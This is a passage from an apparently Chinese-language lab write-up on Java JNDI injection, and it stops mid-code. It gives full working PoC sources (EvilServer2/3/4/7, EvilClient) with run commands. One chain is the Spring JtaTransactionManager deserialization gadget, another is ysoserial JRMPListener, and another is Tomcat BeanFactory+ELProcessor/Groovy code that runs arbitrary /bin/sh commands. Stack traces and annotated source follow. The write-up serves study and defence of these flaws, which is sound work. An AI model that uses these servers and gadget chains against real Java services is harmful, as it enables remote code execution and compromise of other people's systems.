https://docs.oracle.com/javase/8/docs/api/javax/naming/Reference.html http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/javax/naming/Reference.java https://docs.oracle.com/javase/8/docs/api/javax/naming/Referenceable.html http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/javax/naming/Referenceable.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/rmi/registry/ReferenceWrapper.java -------------------------------------------------------------------------- EvilServer用了ReferenceWrapper,但我们需要的是Reference或Referenceable。用 ldap-server.jar失败,不是因为ldap-server.jar,而是因为EvilServer。假设将 ReferenceWrapper替换成A,A是"implements Referenceable"的,估计就可以配合 ldap-server.jar成功。但rt.jar里并无符合要求的A。如果自己实现A,还不如用 marshalsec。 写到此处,当时还写了一句错误的话,"EvilServer中没法直接绑定Reference"。如 今想来,是与"无法对Reference使用exportObject()"搞混了。事实上可以直接绑定 Reference,比如RemoteReferenceServer.java。当时没想起之前绑定过Reference, 写了错误的结论。我对自己说的技术性结论尽可能负责,尤其是写正经文档时,于是 决定写一个EvilServer2.java,直接绑定Reference,预期结果是编译时报错,提示 无法绑定Reference。前面说了,我把对Reference使用exportObject()的编译报错给 弄混到这儿来了。 6.1.3) EvilServer2.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g EvilServer2.java */ import javax.naming.*; public class EvilServer2 { public static void main ( String[] argv ) throws Exception { String name = argv[0]; String factoryLocation = argv[1]; String factory = argv[2]; Context ctx = new InitialContext(); Reference ref = new Reference ( factory, factory, factoryLocation ); /* * 抛弃ReferenceWrapper,直接绑定Reference */ ctx.rebind( name, ref ); } } -------------------------------------------------------------------------- 本来是想看到编译报错,结果编译通过了,当时恍惚了一下。既然编译通过,干脆用 EvilServer2重新测一下rmiregistry的情形。 在testserverbase的父目录执行: python3 -m http.server -b 192.168.65.23 8080 在test0目录执行: rmiregistry 1099 在test1目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ EvilServer2 any http://192.168.65.23:8080/testserverbase/ ExploitObject 在test2目录执行: java \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=true \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ VulnerableClient rmi://192.168.65.23:1099/any 靠,用EvilServer2居然得手了。想起getObjectInstance()中176行那个判断,说不 定EvilServer2与ldap-server.jar配合可以得手。 在test0目录执行: java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif 在test1目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer2 cn=any http://192.168.65.23:8080/testserverbase/ ExploitObject EvilServer2在用LdapCtxFactory时没能阻塞住,进程直接结束了。而在用 RegistryContextFactory时,EvilServer2阻塞住。为此写EvilServer3.java,用其 他办法产生阻塞,避免进程退出。 6.1.4) EvilServer3.java (最普适) -------------------------------------------------------------------------- /* * javac -encoding GBK -g EvilServer3.java */ import javax.naming.*; public class EvilServer3 { public static void main ( String[] argv ) throws Exception { String name = argv[0]; String factoryLocation = argv[1]; String factory = argv[2]; Context ctx = new InitialContext(); Reference ref = new Reference ( factory, factory, factoryLocation ); /* * 用RegistryContextFactory时ctx.rebind()产生阻塞,用LdapCtxFactory * 时没能阻塞住,只好用System.in.read()确保无论哪种情形都产生阻塞。 */ ctx.rebind( name, ref ); System.in.read(); } } -------------------------------------------------------------------------- 在testserverbase的父目录执行: python3 -m http.server -b 192.168.65.23 8080 在test0目录执行: java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif 在test1目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer3 cn=any http://192.168.65.23:8080/testserverbase/ ExploitObject 在test2目录执行: java \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ VulnerableClient ldap://192.168.65.23:10389/cn=any,o=anything,dc=evil,dc=com 用ldap-server.jar测试成功,只与"com.sun.jndi.ldap.object.trustURLCodebase" 相关,与"Dcom.sun.jndi.rmi.object.trustURLCodebase"无关。 用rmiregistry同样测试成功,不赘述。EvilServer3最普适。 前面写得比较啰嗦,可以看出从EvilServer到EvilServer2再到EvilServer3的思考过 程、调试过程,这个过程比结果更重要。 回头说说EvilServer,使用ReferenceWrapper,应该是Alvaro Munoz他们起的头。不 知当时他们怎么想的,为什么要引入不必要的ReferenceWrapper?不但不必要,还缩 小了适用范围,见鬼。ReferenceWrapper是个内部类,没有文档化,第一次看到它时 很困惑,想查一下官方说明都没有。以为它是必须存在的,很多人这样演示。我是不 甘心最初用ldap-server.jar测试失败,对这个失败感到困惑,用调试手段挣扎了一 下,进一步写文档的过程中有了新发现。没有白困惑,也没有白写文档。 参[45],KINGX给了另一种恶意LDAP Server: https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java 大概看了看,涉及javaSerializedData,未深究,有兴趣者可以一试。他这个版本有 点类似marshalsec,身兼多职。 8) org.springframework.transaction.jta.JtaTransactionManager 参[46],iswin写得很好,是我看过讲这个洞的最好的一篇,他改的SpringPOC.java 比原作者清晰。有些人一写PoC就瞎凑合,很不好。目前看到的PoC提供All-In-One方 案。不是黑客,作为老年传统程序员,决定依照本心,把PoC按自己的喜好拆分,不 实用,但有助于我长久记忆。如果实战,推荐iswin的SpringPOC。 后面的PoC用到了如下库: spring-tx-4.2.4.RELEASE.jar spring-beans-4.2.4.RELEASE.jar spring-core-4.2.4.RELEASE.jar javax.transaction-api-1.2.jar commons-logging-1.2.jar spring-context-4.2.4.RELEASE.jar 8.1) VulnerableServer.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g VulnerableServer.java */ import java.io.*; import java.net.*; public class VulnerableServer { public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); InetAddress bindAddr = InetAddress.getByName( addr ); /* * https://docs.oracle.com/javase/8/docs/api/java/net/ServerSocket.html */ ServerSocket s_listen = new ServerSocket( port, 0, bindAddr ); while ( true ) { Socket s_accept = s_listen.accept(); ObjectInputStream ois = new ObjectInputStream( s_accept.getInputStream() ); Object obj = ois.readObject(); ois.close(); s_accept.close(); } } } -------------------------------------------------------------------------- 这是简化版受漏洞影响服务端,只干了一件事,对来自EvilClient的数据进行反序列 化。在此过程中,VulnerableServer有机会扮演JNDI客户端的角色,存在JNDI注入漏 洞。 8.2) EvilServer3.java 同前,这是JNDI服务端动态端口部分。周知端口由rmiregistry提供。 8.3) ExploitObject.java 同前,这是将来在JNDI客户端(VulnerableServer进程空间)被执行的恶意代码。 8.4) EvilClient.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "spring-tx-4.2.4.RELEASE.jar:spring-beans-4.2.4.RELEASE.jar:." EvilClient.java */ import java.io.*; import java.net.*; import org.springframework.transaction.jta.JtaTransactionManager; public class EvilClient { public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); /* * rmi://192.168.65.23:1099/any */ String evilurl = argv[2]; JtaTransactionManager jtm = new JtaTransactionManager(); jtm.setUserTransactionName( evilurl ); /* * https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html */ Socket s_connect = new Socket( addr, port ); ObjectOutputStream oos = new ObjectOutputStream( s_connect.getOutputStream() ); oos.writeObject( jtm ); oos.close(); s_connect.close(); } } -------------------------------------------------------------------------- EvilClient与JNDI没有直接关系,与序列化/反序列化有直接关系。它向受漏洞影响 服务端(VulnerableServer)提交恶意序列化数据,受害者是VulnerableServer。 8.5) 测试 假设目录结构是: . | +---test0 +---test1 | EvilServer3.class | +---test2 | VulnerableServer.class | commons-logging-1.2.jar | javax.transaction-api-1.2.jar | spring-beans-4.2.4.RELEASE.jar | spring-context-4.2.4.RELEASE.jar | spring-core-4.2.4.RELEASE.jar | spring-tx-4.2.4.RELEASE.jar | +---test3 | EvilClient.class | commons-logging-1.2.jar | javax.transaction-api-1.2.jar | spring-beans-4.2.4.RELEASE.jar | spring-context-4.2.4.RELEASE.jar | spring-core-4.2.4.RELEASE.jar | spring-tx-4.2.4.RELEASE.jar | \---testserverbase ExploitObject.class 那些jar可以共用,之所以test2、test3目录各放一份,仅为强调依赖关系。 在testserverbase的父目录执行: python3 -m http.server -b 192.168.65.23 8080 在test0目录执行: rmiregistry 1099 在test1目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ EvilServer3 any http://192.168.65.23:8080/testserverbase/ ExploitObject 在test2目录执行: java \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=true \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ -cp "spring-tx-4.2.4.RELEASE.jar:spring-beans-4.2.4.RELEASE.jar:spring-core-4.2.4.RELEASE.jar:javax.transaction-api-1.2.jar:commons-logging-1.2.jar:spring-context-4.2.4.RELEASE.jar:." \ VulnerableServer 192.168.65.23 1414 对于8u232,必须将两个trustURLCodebase同时设为true,否则不能得手。如果将来 攻击成功,ExploitObject的构造函数将在VulnerableServer进程空间得到执行。 在test3目录执行: java \ -cp "spring-tx-4.2.4.RELEASE.jar:spring-beans-4.2.4.RELEASE.jar:spring-core-4.2.4.RELEASE.jar:javax.transaction-api-1.2.jar:commons-logging-1.2.jar:spring-context-4.2.4.RELEASE.jar:." \ EvilClient 192.168.65.23 1414 rmi://192.168.65.23:1099/any 8.5.1) ExploitObject()调用栈回溯 攻击得手后,在test2目录那边会看到: scz is here Exception in thread "main" org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://192.168.65.23:1099/any]; nested exception is javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory] at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:574) at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448) at org.springframework.transaction.jta.JtaTransactionManager.readObject(JtaTransactionManager.java:1206) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:497) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1896) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) at VulnerableServer.main(VulnerableServer.java:22) Caused by: javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory] at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:472) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:124) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.springframework.jndi.JndiTemplate$1.doInContext(JndiTemplate.java:155) at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:87) at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:152) at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179) at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:571) ... 12 more Caused by: java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163) at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319) at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:464) ... 20 more 在test2目录执行: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=true \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ -cp "spring-tx-4.2.4.RELEASE.jar:spring-beans-4.2.4.RELEASE.jar:spring-core-4.2.4.RELEASE.jar:javax.transaction-api-1.2.jar:commons-logging-1.2.jar:spring-context-4.2.4.RELEASE.jar:." \ VulnerableServer 192.168.65.23 1414 jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in ExploitObject. [1] ExploitObject. (ExploitObject.java:9), pc = 0 [2] sun.reflect.NativeConstructorAccessorImpl.newInstance0 (native method) [3] sun.reflect.NativeConstructorAccessorImpl.newInstance (NativeConstructorAccessorImpl.java:62), pc = 85 [4] sun.reflect.DelegatingConstructorAccessorImpl.newInstance (DelegatingConstructorAccessorImpl.java:45), pc = 5 [5] java.lang.reflect.Constructor.newInstance (Constructor.java:423), pc = 79 [6] java.lang.Class.newInstance (Class.java:442), pc = 138 [7] javax.naming.spi.NamingManager.getObjectFactoryFromReference (NamingManager.java:163), pc = 46 [8] javax.naming.spi.NamingManager.getObjectInstance (NamingManager.java:319), pc = 94 [9] com.sun.jndi.rmi.registry.RegistryContext.decodeObject (RegistryContext.java:499), pc = 97 [10] com.sun.jndi.rmi.registry.RegistryContext.lookup (RegistryContext.java:138), pc = 75 [11] com.sun.jndi.toolkit.url.GenericURLContext.lookup (GenericURLContext.java:205), pc = 23 [12] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6 [13] org.springframework.jndi.JndiTemplate$1.doInContext (JndiTemplate.java:155), pc = 5 [14] org.springframework.jndi.JndiTemplate.execute (JndiTemplate.java:87), pc = 7 [15] org.springframework.jndi.JndiTemplate.lookup (JndiTemplate.java:152), pc = 55 [16] org.springframework.jndi.JndiTemplate.lookup (JndiTemplate.java:179), pc = 2 [17] org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction (JtaTransactionManager.java:571), pc = 52 [18] org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager (JtaTransactionManager.java:448), pc = 23 [19] org.springframework.transaction.jta.JtaTransactionManager.readObject (JtaTransactionManager.java:1,206), pc = 16 [20] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [21] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [22] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [23] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [24] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [25] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [26] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [27] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [28] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [29] VulnerableServer.main (VulnerableServer.java:22), pc = 51 1至12号栈帧与"4.2) ExploitObject()调用栈回溯"小节完全相同。19号栈帧在调 JtaTransactionManager.readObject()。 参[46],iswin讨论了这个洞的实际利用场景,举了个JBoss的例子。 8.6) 用ysoserial.exploit.JRMPListener攻击JNDI客户端 假设目录结构是: . | +---test1 | ysoserial-0.0.6-SNAPSHOT-all.jar | +---test2 | VulnerableServer.class | commons-collections-3.1.jar | commons-logging-1.2.jar | javax.transaction-api-1.2.jar | spring-beans-4.2.4.RELEASE.jar | spring-context-4.2.4.RELEASE.jar | spring-core-4.2.4.RELEASE.jar | spring-tx-4.2.4.RELEASE.jar | \---test3 EvilClient.class commons-logging-1.2.jar javax.transaction-api-1.2.jar spring-beans-4.2.4.RELEASE.jar spring-context-4.2.4.RELEASE.jar spring-core-4.2.4.RELEASE.jar spring-tx-4.2.4.RELEASE.jar 在test1目录执行: java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 1099 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server" 在test2目录执行: java \ -cp "commons-collections-3.1.jar:spring-tx-4.2.4.RELEASE.jar:spring-beans-4.2.4.RELEASE.jar:spring-core-4.2.4.RELEASE.jar:javax.transaction-api-1.2.jar:commons-logging-1.2.jar:spring-context-4.2.4.RELEASE.jar:." \ VulnerableServer 192.168.65.23 1414 8u232可以得手,不需要设置com.sun.jndi.rmi.object.trustURLCodebase和 com.sun.jndi.ldap.object.trustURLCodebase。 在test3目录执行: java \ -cp "spring-tx-4.2.4.RELEASE.jar:spring-beans-4.2.4.RELEASE.jar:spring-core-4.2.4.RELEASE.jar:javax.transaction-api-1.2.jar:commons-logging-1.2.jar:spring-context-4.2.4.RELEASE.jar:." \ EvilClient 192.168.65.23 1414 rmi://192.168.65.23:1099/any ☆ 8u191之后的JNDI注入(RMI) 1) org.apache.naming.factory.BeanFactory + javax.el.ELProcessor 参[45]、[72]。这个技术方案不通用,只能算是特定依赖库提供的Gadget链。对JDK 没有版本要求。 参[73],后面的PoC用到了如下库: tomcat-catalina-9.0.20.jar tomcat-el-api-9.0.20.jar tomcat-jasper-el-9.0.20.jar 据说Tomcat 8.5以上都受影响。 1.1) EvilServer4.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "tomcat-catalina-9.0.20.jar" EvilServer4.java */ import java.rmi.registry.LocateRegistry; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilServer4 { public static void main ( String[] argv ) throws Exception { int wellknown = Integer.parseInt( argv[0] ); String name = argv[1]; String cmd = argv[2]; String evilcode = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"; LocateRegistry.createRegistry( wellknown ); Context ctx = new InitialContext(); /* * https://tomcat.apache.org/tomcat-9.0-doc/api/org/apache/naming/ResourceRef.html * * String resourceClass * String description * String scope * String auth * boolean singleton * String factory * String factoryLocation */ ResourceRef ref = new ResourceRef ( "javax.el.ELProcessor", null, null, null, true, "org.apache.naming.factory.BeanFactory", null ); /* * 参看org.apache.naming.factory.BeanFactory.getObjectInstance() */ ref.add( new StringRefAddr( "forceString", "any=eval" ) ); /* * 将来会执行javax.el.ELProcessor.eval(evilcode) */ ref.add( new StringRefAddr( "any", evilcode ) ); ctx.rebind( name, ref ); System.in.read(); } } -------------------------------------------------------------------------- 再说一次,不需要ReferenceWrapper。 1.2) 测试 假设目录结构是: . | +---test1 | EvilServer4.class | tomcat-catalina-9.0.20.jar | \---test2 VulnerableClient.class tomcat-catalina-9.0.20.jar tomcat-el-api-9.0.20.jar tomcat-jasper-el-9.0.20.jar 在test1目录执行: java \ -cp "tomcat-catalina-9.0.20.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ EvilServer4 1099 any "/bin/touch /tmp/scz_is_here" 在test2目录执行: java \ -cp "tomcat-catalina-9.0.20.jar:tomcat-el-api-9.0.20.jar:tomcat-jasper-el-9.0.20.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ VulnerableClient any 调试VulnerableClient: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "tomcat-catalina-9.0.20.jar:tomcat-el-api-9.0.20.jar:tomcat-jasper-el-9.0.20.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ VulnerableClient any jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.ProcessBuilder.start [1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] java.lang.invoke.LambdaForm$DMH.1555845260.invokeSpecial_L_L (null), pc = 10 [3] java.lang.invoke.LambdaForm$BMH.2037764568.reinvoke (null), pc = 33 [4] java.lang.invoke.LambdaForm$MH.869601985.exactInvoker (null), pc = 49 [5] java.lang.invoke.LambdaForm$MH.1515877023.linkToCallSite (null), pc = 11 [6] jdk.nashorn.internal.scripts.Script$\^eval\_.:program (:1), pc = 67 [7] java.lang.invoke.LambdaForm$DMH.1023714065.invokeStatic_LL_L (null), pc = 11 [8] java.lang.invoke.LambdaForm$MH.1101184763.invokeExact_MT (null), pc = 17 [9] jdk.nashorn.internal.runtime.ScriptFunctionData.invoke (ScriptFunctionData.java:637), pc = 141 [10] jdk.nashorn.internal.runtime.ScriptFunction.invoke (ScriptFunction.java:494), pc = 19 [11] jdk.nashorn.internal.runtime.ScriptRuntime.apply (ScriptRuntime.java:393), pc = 3 [12] jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl (NashornScriptEngine.java:449), pc = 50 [13] jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl (NashornScriptEngine.java:406), pc = 8 [14] jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl (NashornScriptEngine.java:402), pc = 8 [15] jdk.nashorn.api.scripting.NashornScriptEngine.eval (NashornScriptEngine.java:155), pc = 7 [16] javax.script.AbstractScriptEngine.eval (AbstractScriptEngine.java:264), pc = 6 [17] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [18] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [19] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [20] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [21] javax.el.BeanELResolver.invoke (BeanELResolver.java:158), pc = 73 [22] javax.el.CompositeELResolver.invoke (CompositeELResolver.java:79), pc = 35 [23] org.apache.el.parser.AstValue.getValue (AstValue.java:159), pc = 186 [24] org.apache.el.ValueExpressionImpl.getValue (ValueExpressionImpl.java:190), pc = 30 [25] javax.el.ELProcessor.getValue (ELProcessor.java:61), pc = 22 [26] javax.el.ELProcessor.eval (ELProcessor.java:54), pc = 4 [27] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [28] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [29] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [30] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [31] org.apache.naming.factory.BeanFactory.getObjectInstance (BeanFactory.java:211), pc = 510 [32] javax.naming.spi.NamingManager.getObjectInstance (NamingManager.java:321), pc = 111 [33] com.sun.jndi.rmi.registry.RegistryContext.decodeObject (RegistryContext.java:499), pc = 97 [34] com.sun.jndi.rmi.registry.RegistryContext.lookup (RegistryContext.java:138), pc = 75 [35] com.sun.jndi.rmi.registry.RegistryContext.lookup (RegistryContext.java:142), pc = 9 [36] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6 [37] VulnerableClient.main (VulnerableClient.java:12), pc = 14 1.3) 简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/rmi/registry/RegistryContext.java -------------------------------------------------------------------------- InitialContext.lookup // 8u232 InitialContext.getURLOrDefaultInitCtx // InitialContext:417 // name=any // 返回"com.sun.jndi.rmi.registry.RegistryContext" RegistryContext.lookup // InitialContext:417 RegistryContext.lookup // RegistryContext:142 RegistryContext.decodeObject // RegistryContext:138 ((RemoteReference)r).getReference() // RegistryContext:476 // 远程调用,返回ResourceRef NamingManager.getObjectInstance // RegistryContext:499 // 第一形参是ResourceRef AbstractRef.getFactoryClassName // NamingManager:315 // f = ref.getFactoryClassName() // 返回"org.apache.naming.factory.BeanFactory" NamingManager.getObjectFactoryFromReference // NamingManager:319 // factory = getObjectFactoryFromReference(ref, f) VersionHelper12.loadClass // NamingManager:146 // clas = helper.loadClass(factoryName) // 从本地加载"org.apache.naming.factory.BeanFactory" Class.newInstance // NamingManager:163 // new BeanFactory() // 此处要求目标类有无参构造函数 // 8u191之前直接在此执行恶意代码 BeanFactory.getObjectInstance // NamingManager:321 // factory.getObjectInstance(ref, name, nameCtx, environment) // BeanFactory在tomcat-catalina-9.0.20.jar中 if ((obj instanceof ResourceRef)) // BeanFactory:119 // 此处要求必须是ResourceRef beanClassName = ref.getClassName() // BeanFactory:124 // 返回"javax.el.ELProcessor" beanClass = tcl.loadClass(beanClassName) // BeanFactory:130 // 加载"javax.el.ELProcessor" bean = beanClass.getConstructor().newInstance() // BeanFactory:148 // new ELProcessor() ra = ref.get("forceString") // BeanFactory:151 // 返回"forceString"对应的StringRefAddr forced.put() // BeanFactory:178 // 属性"any"与javax.el.ELProcessor.eval()产生关联 value = (String)ra.getContent() // BeanFactory:202 // 返回属性"any"的value,即evilcode method = forced.get(propName) // BeanFactory:207 // 取属性"any"关联的set*(),本例中即javax.el.ELProcessor.eval() Method.invoke // BeanFactory:211 // 执行javax.el.ELProcessor.eval(evilcode) ELProcessor.eval // ELProcessor在tomcat-el-api-9.0.20.jar中 ELProcessor.getValue // ELProcessor:54 AbstractScriptEngine.eval NashornScriptEngine.eval // AbstractScriptEngine:264 // AbstractScriptEngine在rt.jar中 // NashornScriptEngine在nashorn.jar中 ScriptRuntime.apply // NashornScriptEngine:449 ScriptFunction.invoke // ScriptRuntime:393 ScriptFunctionData.invoke // ScriptFunction:494 ProcessBuilder.start -------------------------------------------------------------------------- 为了执行恶意代码,与org.apache.naming.factory.BeanFactory强相关: a) 有无参构造函数 b) 有getObjectInstance()方法 c) getObjectInstance()中有机会执行恶意代码 这与其说是"8u191之后的JNDI注入",不如说是找到一种Gadget链,并不通用。 1.4) 相关源码 -------------------------------------------------------------------------- /* * org.apache.naming.factory.BeanFactory.getObjectInstance */ public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws NamingException { /* * 119行,此处要求必须是ResourceRef */ if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; /* * 124行,返回"javax.el.ELProcessor" */ String beanClassName = ref.getClassName(); Class beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { /* * 130行,加载"javax.el.ELProcessor" */ beanClass = tcl.loadClass(beanClassName); } catch(ClassNotFoundException e) { } } ... BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); /* * 148行,new ELProcessor() */ Object bean = beanClass.getConstructor().newInstance(); /* * 151行,返回"forceString"对应的StringRefAddr */ /* Look for properties with explicitly configured setter */ RefAddr ra = ref.get("forceString"); Map forced = new HashMap<>(); String value; if (ra != null) { /* * 156行,返回"any=eval" */ value = (String)ra.getContent(); Class paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { /* * 164行,干掉两头的空格 */ param = param.trim(); /* A single item can either be of the form name=method * or just a property name (and we will use a standard * setter) */ index = param.indexOf('='); if (index >= 0) { /* * 170行,返回"eval" setterName = param.substring(index + 1).trim(); /* * 171行,返回"any" */ param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { /* * 178行,属性"any"与javax.el.ELProcessor.eval()产生关联 */ forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { throw new NamingException ("Forced String setter " + setterName + " not found for property " + param); } } } /* * 188行,取三个属性,分别是singleton、forceString、any */ Enumeration e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); /* * 193行,返回key,比如"forceString"、"any" */ String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope") || propName.equals("auth") || propName.equals("forceString") || propName.equals("singleton")) { continue; } /* * 202行,返回属性"any"的value,即evilcode */ value = (String)ra.getContent(); Object[] valueArray = new Object[1]; /* * 207行,取属性"any"关联的set*(),本例中即javax.el.ELProcessor.eval() */ /* Shortcut for properties with explicitly configured setter */ Method method = forced.get(propName); if (method != null) { valueArray[0] = value; try { /* * 211行,执行javax.el.ELProcessor.eval(evilcode) */ method.invoke(bean, valueArray); } ... } -------------------------------------------------------------------------- 2) org.apache.naming.factory.BeanFactory + groovy.lang.GroovyClassLoader 2.1) EvilServer7.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "tomcat-catalina-9.0.20.jar" EvilServer7.java */ import java.rmi.registry.LocateRegistry; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilServer7 { public static void main ( String[] argv ) throws Exception { int wellknown = Integer.parseInt( argv[0] ); String name = argv[1]; String cmd = argv[2]; /* * 在适当位置必须有\n。如果想用exec(String[]),必须使用高版本 * Groovy,比如groovy-all-3.0.0-alpha-1.jar。已知 * groovy-all-2.3.9.jar处理exec(String[])时抛异常,只能处理 * exec(String)。 */ String evilcode = "@groovy.transform.ASTTest(phase=SEMANTIC_ANALYSIS,value={\nassert Runtime.getRuntime().exec(new String[] {\"/bin/sh\",\"-c\",\"" + cmd + "\"})\n})\ndef any"; /* * 可以去groovysh中粘贴evilcode,验证其执行结果。 */ System.out.println( evilcode ); LocateRegistry.createRegistry( wellknown ); Context ctx = new InitialContext(); /* * https://tomcat.apache.org/tomcat-9.0-doc/api/org/apache/naming/ResourceRef.html * * String 